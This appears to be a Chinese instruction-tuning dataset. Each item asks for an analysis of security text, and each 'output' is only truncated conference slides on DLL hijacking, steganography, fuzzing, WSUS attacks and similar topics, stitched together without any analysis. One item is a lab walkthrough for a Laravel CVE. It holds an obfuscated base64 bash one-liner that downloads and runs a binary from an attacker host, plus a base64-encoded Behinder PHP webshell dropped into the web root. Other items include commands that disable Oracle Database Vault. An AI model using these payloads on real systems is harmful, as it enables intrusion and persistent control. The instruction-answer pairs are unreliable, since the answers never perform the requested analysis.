3.1.DLL 加载劫持进⾏钓⻥维权
3.1.1.实例1 Qbot(⼜名 Qakbot 或 Pinkslipbot)劫持Calc.exe的WindowsCodecs.dll
3.1.2.实例2 Kaseya 劫持MsMpEng.exe的mpsvc.dll
3.1.3.实例3 LuminousMoth APT劫持多个DLL进⾏利⽤
3.1.4.实例4 ChamelGang APT 劫持MSDTC进⾏维权
3.1.5.实例5 利⽤劫持Update.exe的CRYPTSP.dll进⾏维权
3.2.DLL 加载劫持进⾏提权
3.2.1 劫持任务计划程序服务加载的WptsExtensions.dll通过 PATH 环境变量进⾏提权
3.2.2.通过PrivescCheck检测⽬标上是否存在DLL劫持
3.2.3.劫持winsat.exe的dxgi.dll Bypass UAC
3.3.DLL 加载劫持进⾏终端杀软强对抗
3.3.1.实例1 劫持360杀毒
3.3.2.实例2 劫持卡巴斯基的wow64log.dll
4.部分使⽤DLL 劫持的APT
2
5.参考：
by-⽹空对抗中⼼-李国聪
dll(dynamic-link library),动态链接库，是微软实现共享函数库的⼀种⽅式。动态链接，就是把⼀些常⽤
的函数代码制作成dll⽂件，当某个程序调⽤到dll中的某个函数的时候，windows系统才把dll加载到内存
中。也就是说当程序需要的时候才链接dll，所以是动态链接。
简单的说，dll有以下⼏个优点：
1)  节省内存。同⼀个软件模块，若是以源代码的形式重⽤，则会被编译到不同的可执⾏程序中，同时运
⾏这些exe时这些模块的⼆进制码会被重复加载到内存中。如果使⽤dll，则只在内存中加载⼀次，所有使
⽤该dll的进程会共享此块内存（当然，像dll中的全局变量这种东⻄是会被每个进程复制⼀份的）。
1.Dynamic Link Library基础知识
动态连接，就是把这些相通的功能、函数都放到⼀种特殊形式的windwos可执⾏⽂件中（dll），⽣成⼀
个DLL的时候，程序员需要写出，其中包含那些函数需由其他程序来访问。这个过程叫做对函数的“导
出”
创建windows程序的时候，专⻔的连接程序对程序的对象⽂件进⾏扫描，并⽣成⼀个列表，列出那些调
⽤的函数在那个DLL那个位置，指定各个函数所在位置的过程叫做对函数的“导⼊”
当程序运⾏的时候，⼀旦要求⽤到执⾏⽂件内部没有的函数，windows就会⾃动装载动态连接库，使应
⽤程序可以访问这些函数。此时，每个函数的地址都会解析出来，并且以动态的⽅式连接到程序⾥－－
这便是术语“动态连接”的由来。
另外还有⼀个好处，就是当你更新你的这个函数的版本和功能的时候，静态连接所需要做的⼯作是多少
（假设按windwos来说他有上千个这样的函数，⼀共有100多个程序来使⽤，那静态连接需要100000次
的更新，动态连接只需要1000次），从⽽也节省了内存的空间。
动态连接库不⼀定是DLL扩展名的，也可以是ocx、vbx、exe、drv 等等的
3
2)  不需编译的软件系统升级，若⼀个软件系统使⽤了dll，则该dll被改变（函数名不变）时，系统升级只
需要更换此dll即可，不需要重新编译整个系统。事实上，很多软件都是以这种⽅式升级的。例如我们经
常玩的星际、魔兽等游戏也是这样进⾏版本升级的。
3)  Dll库可以供多种编程语⾔使⽤，例如⽤c编写的dll可以在vb中调⽤。这⼀点上DLL还做得很不够，因
此在dll的基础上发明了COM技术，更好的解决了⼀系列问题。
包含objbase.h头⽂件（⽀持COM技术的⼀个头⽂件）。⽤windows.H也可以。
然后是⼀个DllMain函数
1.1.DLL的结构
#include <objbase.h>
#include <iostream.h>
BOOL APIENTRY DllMain(HANDLE hModule, DWORD dwReason, void* lpReserved)
{
    HANDLE g_hModule;
    switch(dwReason)
    ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

§  David Mortman, enStratus
§  Rob Graham, ErrataSec
§  Dave Maynor, ErrataSec
§  Chris Hoff, Juniper
§  James Arlen, Liquid Matrix
§  Larry Pesce, PaulDotCom
§  Rich Mogull, Securosis
Fail Panel Five


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

A Picture is Worth a
Thousand Words, Literally
Deep Neural Networks for Social Stego
Philip Tully  |  Mike Raggo
1
DC25: Community, Discovery and the
           Unintended Uses of Technology
2
2600: The Hacker Quarterly
3
Summer 1992
Summer 2017
25 years
#whoami
4
                        Philip Tully
                                                                             @phtully
Principal Data Scientist at ZeroFOX
PhD (KTH & University of Edinburgh)
Machine Learning and Neural Nets
  Mike Raggo
    @datahiding
  CSO @802 Secure, 17 yrs Stego Research
  StegSpy DC12, Author “Data Hiding”
  NSA National Cryptologic Museum
A Picture is Worth
A Thousand Words:
Deep Neural Networks for Social Stego
The Evolution of Steganography
5
DIY Social Steganography
Deep Neural Networks for Social Stego
Data-Driven Red and Blue Teaming
Wrap Up
A Picture is Worth
A Thousand Words:
Deep Neural Networks for Social Stego
The Evolution of Steganography
6
Covert Communication
7
“. . . any communication channel that can be exploited by a
process to transfer information in a manner that violates the
system's security policy.”
Source: U.S. Department of Defense. Trusted Computer System
Evaluation “The Orange Book”. Publication DoD 5200.28-STD.
Washington: GPO 1985
WetStone Labs
Collected Steganography Programs
Since January 1999 Includes versions
8
Tools are
simple,
designed to
exploit sense
weaknesses
Many copycats are
born, with some
new features,
greater focus on
JPEG embedding
Methods
become
more
resilient to
statistical
attacks
Multimedia
begins to
evolve into a
viable
method
New versions emerge of
existing Alg.
Steganographic file
systems begin to emerge
VOIP, RTP and UDP
techniques emerge
along with decoys to
complicate detection
and recovery
Evolution of Methods
Evolution of Stego in the Internet Era
9
▪Stego Apps Decoy Techniques (OpenPuff)
▪Stealth Alternate Data Streams (NT)
▪Weaponized CnC - Operation Shady RAT (McAfee)
▪Prootoc...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Hacking WITH the iPod Touch
Thomas Wilhelm
a.k.a. Hacker Junkie
1
Personal Experience
Penetration Tester / Project Manager
Fortune 20 Company
Internal and External System
Network Architectures
Certiﬁcations:
ISSMP, CISSP, SCSECA, SCNA, SCSA,
NSA-IEM, NSA-IAM
2
Personal Experience
Associate Professor
Colorado Technical University
What I Teach: Information System Security
Undergrads and Graduate Programs
3
Personal Experience
Masters Degrees:
Computer Science, Management (InfoSec)
Doctoral Student - Capella University
Information Technology
Specialization: Information Assurance & Security
National Center of Academic Excellence in
Information Assurance Education (CAEIAE)
4
Personal Experience
Author
5
Objectives
Jailbreaking the iPod Touch / iPhone
Using iPod Touch as PenTest Platform
Hacking with the iPod Touch
iPod Touch as an Attack Vector
Conclusion
6
Jailbreaking
Legal Issues
Jailbreaking Tools
7
Jailbreaking
    Legal Issues
EFF Proposed Exception
Proposed Class #1:  Computer programs that enable
wireless telephone handsets to execute lawfully
obtained software applications, where circumvention
is accomplished for the sole purpose of enabling
interoperability of such applications with computer
programs on the telephone handset.
- http://www.copyright.gov/1201/2008/comments/lohmann-fred.pdf
8
Jailbreaking
    Legal Issues
DMCA Violation
“Apple is opposed to the proposed Class #1 exemption
because it will destroy the technological protection of
Apple’s key copyrighted computer programs in the
iPhone™ device itself and of copyrighted content owned
by Apple that plays on the iPhone, resulting in
copyright infringement, potential damage to the
device and other potential harmful physical effects,
adverse effects on the functioning of the device, and
breach of contract.”
- http://www.copyright.gov/1201/2008/responses/apple-inc-31.pdf
9
Jailbreaking
    Legal Issues
Outcome?
Copyright Ofﬁce will be making a decision in
October regarding exception
Apple’s ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

© 2005, Independent Security Evaluators
www.securityevaluators.com
How Smart is Intelligent Fuzzing -
or - How Stupid is Dumb Fuzzing?
Charles Miller
Independent Security Evaluators
August 3, 2007
cmiller@securityevaluators.com
© 2005, Independent Security Evaluators
www.securityevaluators.com
Agenda
▪ Introduction
▪ Portable Network Graphics
▪ libpng
▪ Mutation vs Generation Based Fuzzing
▪ Conclusions
© 2005, Independent Security Evaluators
www.securityevaluators.com
Introduction
▪ “Intelligent fuzzing usually gives more
results” - Ilja van Sprundel
▪ Can we quantify this statement?
▪ How important is the choice of inputs for
mutation-based fuzzing?
© 2005, Independent Security Evaluators
www.securityevaluators.com
Fuzzing
▪ Generate test cases - files, network traffic,
command line arguments, environment
variables, etc.
▪ Test cases should be “close” to real program
inputs but should contain anomalies
▪ Test cases fed into the target application
which is monitored for faults
▪ These anomalies are meant to defy
programmer assumptions and find bugs
© 2005, Independent Security Evaluators
www.securityevaluators.com
How to Get the Test Cases
▪ Mutate existing inputs (dumb fuzzing)
§ Take a valid input, say a file, and make
changes to it
§ These changes can include modifying bytes,
adding strings, %n’s, etc.
§ Easy and fast to do
§ Doesn’t require knowledge of the program or
protocol
§ Dependent on the existing inputs
© 2005, Independent Security Evaluators
www.securityevaluators.com
How to Get the Test Cases (Cont)
▪ Generate inputs from protocol description
(Intelligent fuzzing)
§ Start from RFC or documentation
§ Generate inputs based on documentation
§ For each field in the description, add an anomaly,
such as a long strings, negative numbers, %n’s etc
§ Takes a long time to create the inputs
§ Tedious work
§ Requires complete knowledge or program or protocol
§ Since all possible fields are fuzzed, should be more
thorough
© 2005, Independent Sec...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Weaponizing data science for social engineering:
Automated E2E spear phishing on Twitter
John Seymour and Philip Tully
{jseymour, ptully}@zerofox.com
Introduction and Abstract
Historically, machine learning for information security has prioritized defense: think intrusion
detection systems, malware classification and botnet traffic identification. Offense can benefit
from data just as well. Social networks, especially Twitter with its access to extensive personal
data, botfriendly API, colloquial syntax and prevalence of shortened links, are the perfect
venues for spreading machinegenerated malicious content.
We present a recurrent neural network that learns to tweet phishing posts targeting specific
users. The model is trained using spear phishing pentesting data, and in order to make a
clickthrough more likely, it is dynamically seeded with topics extracted from timeline posts of
both the target and the users they retweet or follow. We augment the model with clustering to
identify high value targets based on their level of social engagement such as their number of
followers and retweets, and measure success using clickrates of IPtracked links. Taken
together, these techniques enable the world's first automated endtoend spear phishing
campaign generator for Twitter.
Contents
Introduction and Abstract
1
Background
Machine Learning: An Offensive Approach
Highlevel Description of Tool
Target Discovery
Automated Spear Phishing
Conclusion
References
2
3
3
4
4
5
6
1
Background
Historically, the security community has used Machine Learning (ML) in a defensive manner, for
example in classifying malicious binaries or finding anomalous network traffic. Even now,
startups continue to spring up advertising novel techniques for detecting inbound threats. But
much of InfoSec is dedicated to identifying critical weaknesses and vulnerabilities through
offense. While tools such as Metasploit [1] exist for automating RedTeam activi...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Hacking in the
Name of Science
Tadayoshi (Yoshi) Kohno (University of Washington)
Jon Callas (PGP Corporation)
Alexei Czeskis (University of Washington)
Daniel Halperin (University of Washington)
Karl Koscher (University of Washington)
Michael Piatek (University of Washington)
DEFCON 16 - August 8, 2008
Who We Are
✦ Researchers at the University of Washington
✦
Tadayoshi Kohno, http://www.cs.washington.edu/homes/yoshi/
✦
Alexei Czeskis,http://www.cs.washington.edu/homes/aczeskis/
✦
Daniel Halperin, http://www.cs.washington.edu/homes/
dhalperi/
✦
Karl Koscher, http://www.cs.washington.edu/homes/supersat/
✦
Mike Piatek, http://www.cs.washington.edu/homes/piatek/
✦ Co-founder of PGP Corporation
✦
Jon Callas, jon@callas.org
Focus for Today
Explore “hacking” in the academic community
For concreteness, we base this talk on our own
research (often in collaboration with others)
We call this line of work many things, like
“attacks research” or “measurements,” but
never “hacking”
About Yoshi
✦ Others will introduce themselves when they ﬁrst start
✦ Ph.D. from University of California San Diego
✦ Lots of crypto / mathy stuff
✦ But also lots of work on analyzing real systems --
and that’s the focus of today’s talk
✦ Past industry work:  Bruce Schneier’s old company,
and Cigital
✦ Now:  Faculty at the University of Washington
Previews for Today
First public analysis of Diebold’s AccuVote-TS e-voting
source code (2003, Kohno, Stubbleﬁeld, Rubin, Wallach)
Previews for Today
First public analysis of a common wireless implantable
medical device (2008, Halperin, Heydt-Benjamin, Ransford,
Clark, Defend, Morgan, Fu, Kohno, Maisel)
Previews for Today
Measurement study of in-ﬂight changes to web pages by ISPs
and others (2008, Reis, Gribble, Kohno, Weaver)
ISP
Firewall
Previews for Today
Measurement study of DMCA notices in BitTorrent (2008,
Piatek, Krishnamurthy, Kohno)
Previews for Today
Fingerprinting physical machines based on information
leakage and clock skew (2005,Ko...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Breaking Secure Bootloaders
Talk Outline
Smartphones often use signature verification to protect their firmware
This is implemented in bootloaders, which can also provide facilities for firmware updates
Weaknesses in these update protocols can be exploited to bypass signature protections
The core SoC and peripheral chips are both potential targets for attack
Biography
Christopher Wade
Security Consultant at Pen Test Partners
@Iskuri1
https://github.com/Iskuri
https://www.pentestpartners.com
Project One – The SDM660 Android Bootloader
I had purchased an Android phone to do mobile research
I needed root access in order to use all of my testing tools
This required unlocking the bootloader, which disables signature verification protection
This required an unlock tool from the manufacturer
Custom Bootloader Unlock Functionality
Some smartphone manufacturers modify the bootloader to require custom tools for
bootloader unlocking, or to remove bootloader unlocking entirely
This often requires creating a user account and waiting for a period of time
Unlocks are performed using custom USB fastboot commands
There are numerous reasons why these restrictions are placed on their hardware:
• Inexperienced users will not be tricked into deliberately weakening phone security
• Third parties can’t load the devices with malware before sale
• The manufacturer can track who is unlocking their bootloaders
Common Android Bootloader Protection
Analysis of an unlock on the phone was performed using
USBPCAP
An 0x100 byte signature was downloaded from the
manufacturer’s servers and sent to the phone
This was verified by the bootloader, which unlocked its
restrictions
I decided to use an older phone to analyse this functionality
I set myself a challenge to break this functionality before the
end of the seven day waiting period
Target Device
Mid-range phone released in 2017
Uses a Qualcomm Snapdragon 660 chipset – ARM64 architecture
I had previously unlocked the bootloader, but could lock ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

常規攻擊的
實時檢測 ( WEB APP )
amxku
攜程安全   //   sec.ctrip.com
# About me
- Security Architect at Ctrip
- @amxku
- sebug.net  //  sec.ctrip.com
OWASP  Top10
• Scanner(vul/info)
• Spam(info/login/register)
• Trojan(gh0st RAT)
• On-line/Off-line
On-line
WEB  APP  LOG
Real-time // Analysis // Dashboard
任务I度
applog
    Slog
userlog
logstash
ElasticSearch
任务添加
E果展示
任务队列
Elasticsearch client
搜索
逻辑引擎
二次  析
自动化
验证
E果
响应
ESlog
规则平台
事件管理
Log
IIS Log
Gateway
  SPer
Hbase
Rule
IPS
dashboard
White List
IP Nslookup
Login log
alerting
Storm Cluster
搜索引擎检C
IPHG库
…………
FE
IISFilter
响应
Off-line
APT  ?
# Trojan
- ⽊木⾺馬⼼心跳是與C&C服務器保持連接的主要⽅方式，通過對⽊木⾺馬⼼心跳⾏行
為的特徵檢測，可以識別⼀一些可疑的⽊木⾺馬通信⾏行為
-
週期性 / 持續性 / 簡潔性 / 特定性
#變異係數（Coefﬁcient of Variation）
- V = ( SD/MN ) % 100       SD：標準差	 ,MN：平均值
3001,2998,9990,2999
3000,3004,2996,3001
2997,      0,2999,3003
3001,2998,2999
3000,3004,2996,3001
2997,2999,3003
MN =
SD =
CV =
Moloch
filter
Cuckoo
Cuckoo
• PCDA
• Closed Loop
THANK YOU
@amxku


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

open
0x00
open
0x01
open https://www.baidu.com//System/Applications/Maps.app
mapsapp
1. maps.app
2. urlmaps
open "https://www.baidu.com/System/Applications/Calendar.app"
calendar
urlurlcalendar
0x02
app
1. appurl
2. appurl
app
open "https://xxxxx"
open "/Applications/Safari.app" "http://xxxxx"
xxx
app
applemusic!
10000
open /Applications/Safari.app "http://127.0.0.1:10000/System/Applications/Music.app"
apple music10000
music.appmp3
1. http
2. /System/Applications/mp3
3. mp3Music.app
mp3
applemusic
0x03
http
musicmp3


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

I Know What
You Are By the
Smell of Your
Wi-Fi
Denton Gentry
Try It!
1%
10%
Poll: Wi-Fi at DEFCON for a demo
89%
bad idea.
worst idea.
what could go wrong?
SSID: SmellOfWifiTalk
MAC Sublayer Management Entity (MLME)
Probe Request: Asks nearby APs to respond.
Association Request: join the Wi-Fi network
Probe Request
Association Request
Probe Response
Association Response
Try It!    SSID: SmellOfWifiTalk
Signature: Information Elements
Tag #0
Tag #1
Tag #33
Tag #36
Tag #48
Tag #70
Tag #45
Tag #191
Tag #221, Vendor OUI  00:17:f2, #10
Tag #221, Vendor OUI  00:10:18, #2
Tag #221, Vendor OUI  00:50:f2, #2
0,1,33,36,48,70,45,191,
221(0017f2,10),221(0010
18,2),221(0050f2,2)
Try It!    SSID: SmellOfWifiTalk
Signature: Capability bitmasks
Transmit power
HT Capabilities bitmask (802.11n)
VHT Capabilities bitmask (802.11ac)
Try It!    SSID: SmellOfWifiTalk
0,1,33,36,48,70,45,191,221
(0017f2,10),221(001018,2),
221(0050f2,2),txpow:13f9,
htcap:006f,vhtcap:0f811032
Distinctiveness Over Time
iPhone, 2007
0,1,48,50
iPhone 4s, 2011
0,1,48,50,45,221(001018,2),221(00904c,51),221(0050f2,2),
htcap:0100,htagg:19,htmcs:000000ff
iPhone 7, 2016
0,1,33,36,48,70,54,45,127,191,199,221(0017f2,10),221(001
018,2),221(0050f2,2),htcap:006f,htagg:17,htmcs:0000ffff,
vhtcap:0f811032,vhtrxmcs:0000fffa,vhttxmcs:0000fffa,txpo
w:13f9,extcap:000008
Try It!    SSID: SmellOfWifiTalk
Signatures in their Final Form
Xbox One
wifi4|probe:0,1,45,50,htcap:058f,htagg:03,htmcs:0000ffff|assoc:0,1,33
,36,221(0050f2,2),45,htcap:058f,htagg:03,htmcs:0000ffff,txpow:1208
Nest Thermostat v3
wifi4|probe:0,1,45,221(001018,2),221(00904c,51),htcap:0062,htagg:1a,h
tmcs:000000ff|assoc:0,1,33,36,48,45,221(001018,2),221(00904c,51),221(
0050f2,2),htcap:0062,htagg:1a,htmcs:000000ff,txpow:0f09
Chromecast v1
wifi4|probe:0,1,3,45,50,htcap:0120,htagg:03,htmcs:00000000|assoc:0,1,
48,50,127,221(0050f2,2),45,htcap:012c,htagg:03,htmcs:000000ff,extcap:
0000000000000140
Try It!    SSID: SmellOfWifiTalk
Multiple Signatures
wifi4|probe:0,1,45,2...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Classification: Internal
www.nviso.eu
.NET reflection for post exploitation
tradecraft in an EDR world.
Classification: Internal
Jean-François Maes
Creator of redteamer.tips
Host of “The voices of infosec” podcast
Contributor to SANS SEC560 and SEC699
Devourer of chicken and other proteins
#RedTeamFit
# Whoami
Classification: Internal
Why give this talk?
Because I like donuts
Classification: Internal
1 Why C#?
2
What is reflection?
3
Creating a loader
4
Improving the loader
5
Future of tradecraft
Classification: Internal
Why C# ?
As defences grow, so does the malware
Since
V5
AMSI
Constrained Language Mode
Nice read: https://stealthbits.com/blog/ways-to-detect-and-mitigate-powershell-attacks/
Classification: Internal
Why C# ?
As defences grow, so does the malware
Script Block Logging
Nice read: https://stealthbits.com/blog/ways-to-detect-and-mitigate-powershell-attacks/
Since
V5
Classification: Internal
Why C# ?
As defences grow, so does the malware
Shoutout to
Nice presentation: https://hackinparis.com/data/slides/2019/talks/HIP2019-Marcello_Salvati-Ironpython_Omfg.pdf
Classification: Internal
What is reflection?
www.nviso.be
|  8
Let’s see what the internet says
Wikipedia
In computer science, reflection
programming is the ability of a process to
examine, introspect, and modify its own
structure and behavior.
A language supporting reflection provides
a number of features available at runtime
that would otherwise be difficult to
accomplish in a lower-level language.
Microsoft
Stack Overflow
Reflection provides objects that describe
assemblies, modules, and types. You can
use reflection to dynamically create an
instance of a type, bind the type to an
existing object, or get the type from an
existing object and invoke its methods or
access its fields and properties. If you are
using attributes in your code, reflection
enables you to access them.
Reflection allows you to write code that
can inspect various aspects about the code
itself.
It enable...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Hacking and protecting
Oracle Database Vault
Esteban Martínez Fayó
Argeniss (www.argeniss.com)
July 2010
Agenda
• Introduction to Oracle Database Vault
 What is Oracle Database Vault, What changes introduce, Oracle
Database Vault elements.
• Attacks against Database Vault
 Getting OS access
 Impersonating MACSYS user
 Special considerations for the SYS user
o SQL Injection in SYS schema
• Oracle Database Auditing and SYS user
• Additional protection measures
• Conclusions
What is Oracle Database Vault?
•
It’s an add-on to Oracle Database.
•
Supported Oracle Database Releases: 9i R2, 10g R2, 11g R1 and 11g
R2.
•
“Oracle Database Vault can prevent highly privileged users, including
powerful application DBAs and others, from accessing sensitive
applications and data in Oracle databases outside their authorized
responsibilities”
 The DBA no longer has unlimited access to database data.
 Helps protect against the insider threat and address regulatory
compliance needs such as Sarbanes-Oxley (SOX) and PCI .
•
The main goal of Oracle Database Vault  is to provide Separation of
Duty
What changes with Database Vault?
•
Some initialization parameteres are changed to more secure values.
•
RECYCLE BIN feature is disabled
•
Revokes some privileges from default roles
 DBA, IMP_FULL_DATABASE,  EXECUTE_CATALOG_ROLE, SCHEDULER_ADMIN and
PUBLIC.
•
Database audit is configured to include more actions, but auditing is
not enabled.
 Must issue ALTER SYSTEM SET AUDIT_TRAIL
• SYS.AUD$ Table Moved to SYSTEM Schema.
What changes with Database Vault?
• SYS, SYSTEM and other schemas are protected as well as
sensitive commands like ALTER USER.
• Installing patches require to disable DBVault.
•
DBVault can be disabled with OS access.
 On Windows: Under %ORACLE_HOME%\bin, delete or rename
oradv[release_number].dll (example: oradv10.dll, oradv11.dll) file.
 On Linux:
make -f $ORACLE_HOME/rdbms/lib/ins_rdbms.mk dv_off
$ORACLE_HOME/bin/reli...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Session Donation
Alek Amrani
DEF CON 17
About me
• Alek Amrani
• Longhorn Lockpicking
Club
• UT Austin CS
Undergrad
• UT Austin ISO
• Alek Amrani
• Longhorn Lockpicking
Club
• UT Austin CS
Undergrad
• UT Austin ISO
This Talk
• TURBO TRAC
• Not a lot of time, so
brevity is the name of
the game
• Presenting an Idea,
as well as the thought
process behind the
formation of the idea
• Questions /
Comments /
Whatnot
• Time planned at end
for this
Background Info
• Session ID (SID)
Attack
• Session Hijacking
• Session Fixation
• Cross-Site Scripting
• Cross-Site Cooking
• Countermeasures
exist
Background Info
• Some common countermeasures taken to
prevent session hijacking
• Use of a long random session key
• Regeneration of SID
• Encrypted transmissions
• Secondary Checks
• Limiting by IP Address, etc.
• Changing SID often
Session Donation
• What is ‘Session Donation’
• Exactly what it sounds like.
• Donating your SID to someone else.
• Very similarly to Session Fixation
• You need to “fix” the victim’s session to a particular ID
• Many Session Fixation countermeasures won’t
work
• Only accepting server generated ID’s from a cookie
• Regenerating SIDs
• Etc.
• It’s much easier to give someone your identity
rather than stealing theirs
Session Donation
• Are you Insane? Why would I give my info
away...
• Example Scenario:
• Joe logs into a service and deletes the stored information
• Joe ‘donates’ his session to Jim
• Joe tells Jim there were problems earlier, and he’ll need
to re-enter his information
• Jim goes to the page, and inputs his information and
• saves it
• Joe can now login as himself, and has Jim’s information
Session Donation
• Issues do exist
• User does not have to login
• PEBKAC
• User training, if any, is usually geared toward being cautious
when authenticating
• 'Single Login' Setups
• Cooperations, Universities, etc.
• Connection does not need to be interrupted for this attack
vector
• SSL Certs still valid
Sessio...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1
启元学堂REDV靶场练习
环境部署
⼯具
Start
看readme即可
X-C2
冰蝎3
webanalyzer
...
⼊⼝点：http://192.168.88.101/
环境部署
⼯具
Start
2
看下指纹，⾁眼看上去就是hexo
1     {
2         "name": "Hexo",
3         "version": "5.3.0",
3
⽬录扫描
没什么东⻄
4         "detail": "regex \"Hexo(?: v?([\\d.]+))?\" match meta[gene
rator] of http://192.168.88.101/",
5         "origin": "wappalyzer"
6     },
4
web1上⾯81端⼝还有服务
应该要⽤CVE-2021-3129打
tips:
攻击的结果基本所有脚本都是写在laravel.log，但是这个路径在实战中很有可能是不存在的，需要去猜。
我是⽤mac测试的，因为payload貌似不能换⾏，需要加-w0
https://stackoverflow.com/questions/46463027/base64-doesnt-have-w-option-in-mac
这上⾯说的是mac下的-w0是默认的，还是不⾏，只能换linux。
5
这个漏洞如果找不到log路径，可以配合fastcgi或者redis打。
把脚本改⼀下，找到利⽤链之后⽀持⾃定义命令
6
中后⻔。
1 bash=bash -c {echo,Y2QgL3RtcC8gJiYgY3VybCBodHRwOi8vMTkyLjE2OC44OC4
xMDA6ODA4MS93ZWIxICAtbyBuZ2lueCAmJiBjaG1vZCAreCBuZ2lueCAmJiAuL25na
W54}|{base64,-d}|{bash,-i}
7
发现是不出⽹的，我配置的⽹络环境只允许dmz出⽹。
写冰蝎⻢
1 echo PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwogI
CAgJGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7IC8v6K+l5a+G6ZKl5Li66L+e5o6l5a+
G56CBMzLkvY1tZDXlgLznmoTliY0xNuS9je+8jOm7mOiupOi/nuaOpeWvhueggXJlY
mV5b25kCgkkX1NFU1NJT05bJ2snXT0ka2V5OwoJc2Vzc2lvbl93cml0ZV9jbG9zZSg
pOwoJJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CglpZighZ
Xh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQoJewoJCSR0PSJiYXNlNjRfIi4iZGV
jb2RlIjsKCQkkcG9zdD0kdCgkcG9zdC4iIik7CgkJCgkJZm9yKCRpPTA7JGk8c3Ryb
GVuKCRwb3N0KTskaSsrKSB7CiAgICAJCQkgJHBvc3RbJGldID0gJHBvc3RbJGldXiR
rZXlbJGkrMSYxNV07IAogICAgCQkJfQoJfQoJZWxzZQoJewoJCSRwb3N0PW9wZW5zc
8
2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOwoJfQogICAgJGFycj1leHB
sb2RlKCd8JywkcG9zdCk7CiAgICAkZnVuYz0kYXJyWzBdOwogICAgJHBhcmFtcz0kY
XJyWzFdOwoJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19pbnZva2UoJHApIHtldmF
sKCRwLiIiKTt9fQogICAgQGNhbGxfdXNlcl9mdW5jKG5ldyBDKCksJHBhcmFtcyk7C
j8+Cg==|base64 -d > /var/www/html/wfox_coolcat.php
9
然后
是个docker
10
补充⼀下查看ip的命令
 1 curl ifconfig.me
 2 curl -4/-6 icanhazip.com
 3 curl ipinfo.io/ip
 4 curl api.ipify.org
 5 curl checkip.dyndns.org
 6 dig +short myip.opendns.com @resolver1.opendns.com
 7 host myip.opendns....


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

ADVANCED WIRELESS ATTACKS AGAINST
ENTERPRISE NETWORKS
LAB SETUP GUIDE
VERSION 1.0.2
Gabriel Ryan
@s0lst1c3 @gdssecurity
gryan@gdssecurity.com
solstice.me
Advanced Wireless Attacks Against Enterprise Networks
Introduction
© 2017 Gabriel Ryan All Rights Reserved
2
INTRODUCTION
For this workshop, we’ll be using a lab that consist of five virtual machines joined to the same virtual network.
Three of these virtual machines will run Windows and will be joined to one another using Active Directory. One of
the three Windows machines will serve as the Domain Controller, and the other two will act as workstations. The
remaining two virtual machines include a PFSense instance that will serve as a firewall between our lab and the
outside world, and a Kali virtual machine that is preloaded with everything you need for this course.
The PFSense and Kali virtual machines are completely preconfigured and require no manual setup on the part of
the student. Unfortunately, it was not possible to provide preconfigured Windows virtual machines due to
licensing issues. That means you’re going to have to download and configure your Active Directory machines
yourself.
With that said, worry not. I’ve gone to great lengths to make the lab setup process as painless as possible by
providing a set of PowerShell scripts that will do most of the legwork for you. All you have to do is download the
required ISOs and Virtual Machines and use the provided scripts as described in the sections below.
Try not to get intimidated by the size of this setup guide. It’s basically a giant picture book, with most of the
following pages being occupied by screenshots. You should fly through the lab setup process fairly quickly once
you have everything downloaded.
Regardless, I do recommend completing the lab setup process before getting to the conference. The reason for this
is that you’re going to have to download a couple of large files, and you probably don’t want to be stuck doing...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

WSUSPENDU
/ 52
Yves Le Provost & Romain Coltel
ANSSI
WSUSpendu
USE WSUS TO HANG ITS CLIENTS
SATURDAY, 29TH JULY 2017
YVES LE PROVOST & ROMAIN COLTEL
WSUSPENDU
/ 52
Yves Le Provost & Romain Coltel
Who we are, what we do…
-
Yves Le Provost
-
Security auditor for more than 10 years
-
Currently works for French cyber defense Agency (ANSSI)
-
Specializes in SCADA and database assessments, but masters any other field ;-)
-
Romain Coltel
-
Former security auditor
-
Currently works for a disruptive startup
-
Developing next-gen Active Directory security product
2
WSUSPENDU
/ 52
Yves Le Provost & Romain Coltel
The problem
Sometimes, compromising a network
is not that easy.
3
WSUSPENDU
/ 52
Yves Le Provost & Romain Coltel
Compromise scenario
4
You
WSUSPENDU
/ 52
Yves Le Provost & Romain Coltel
Compromise scenario
5
Internet-connected network
Servers
Workstations
Domain
controllers
You
WSUSPENDU
/ 52
Yves Le Provost & Romain Coltel
Compromise scenario
6
Internet-connected network
Servers
Workstations
Domain
controllers
You
WSUSPENDU
/ 52
Yves Le Provost & Romain Coltel
Compromise scenario
7
Internet-connected network
Servers
Workstations
Domain
controllers
You
WSUSPENDU
/ 52
Yves Le Provost & Romain Coltel
Compromise scenario
8
Internet-connected network
Disconnected network
Physical boundary
Servers
Workstations
Domain
controllers
You
WSUSPENDU
/ 52
Yves Le Provost & Romain Coltel
The solution?
Sometimes, compromising a network
might not be as far as we think.
9
WSUSPENDU
/ 52
Yves Le Provost & Romain Coltel
Potential compromise scenario
10
Internet-connected network
Disconnected network
Physical boundary
WSUS
Server
WSUS
Server
WSUSPENDU
/ 52
Yves Le Provost & Romain Coltel
Potential compromise scenario
11
Internet-connected network
Disconnected network
Physical boundary
WSUS
Server
WSUS
Server
?
?
?
WSUSPENDU
/ 52
Yves Le Provost & Romain Coltel
Windows Server Update Services (WSUS)
12
Enterprise network
HTTPS
HTTP
Microsoft Update
www
WSUS
WSUSPENDU
/ 52
Yves Le Prov...


